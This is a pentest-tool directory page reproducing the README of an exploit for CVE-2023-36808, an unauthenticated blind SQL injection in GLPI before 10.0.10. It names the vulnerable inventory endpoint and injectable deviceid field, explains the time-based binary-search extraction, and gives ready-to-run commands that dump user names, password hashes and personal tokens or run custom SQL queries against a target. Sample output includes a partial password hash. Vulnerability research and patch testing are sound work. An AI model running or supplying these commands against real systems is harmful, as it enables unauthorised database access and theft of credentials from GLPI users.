Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
exploit-cve-2023-36808 — Time-based blind SQL injection exploit for CVE-2023-36808 in GLPI < 10.0.10. Extracts user credentials and database contents via unauthenticated XML inventory endpoint with binary search optimization. | Kitploit
Tools/GitHubGitHub/fransosiche/exploit-cve-2023-36808
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubfransosiche/exploit-cve-2023-36808

exploit-cve-2023-36808

Time-based blind SQL injection exploit for CVE-2023-36808 in GLPI < 10.0.10. Extracts user credentials and database contents via unauthenticated XML inventory endpoint with binary search optimization.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-36808 - GLPI Unauthenticated SQL Injection

Vulnerability

GLPI versions < 10.0.10 expose an unauthenticated XML inventory endpoint at /front/inventory.php.
The <deviceid> field is injected directly into a SQL query without sanitisation:

root@kitploit:~
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'

No authentication is required. The vulnerability allows full database read access via blind SQL injection.

Exploit

This script uses time-based blind injection with binary search to extract data significantly faster than generic tools.

  • One SLEEP per boolean check (reliable regardless of table size)
  • Binary search: ~7 requests per character instead of 95
  • Field-level parallelism: name, password, and token extracted simultaneously per user
  • Concurrency cap prevents timing interference between parallel requests

Requirements

root@kitploit:~
pip install -r requirements.txt

Usage

root@kitploit:~
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi

# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"

# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3

# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4

Example output

root@kitploit:~
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep  : 0.5s  Threshold: 0.35s  Parallel: 2

[+] Target reachable
[+] Injection confirmed

[*] User 1/7
  name               glpi
  password           $2y$10$xN.12pQxSLlQdMJzP26EWe...
  personal_token     xxxx
...

References

  • NVD - CVE-2023-36808
  • GLPI Security Advisory
Download Tool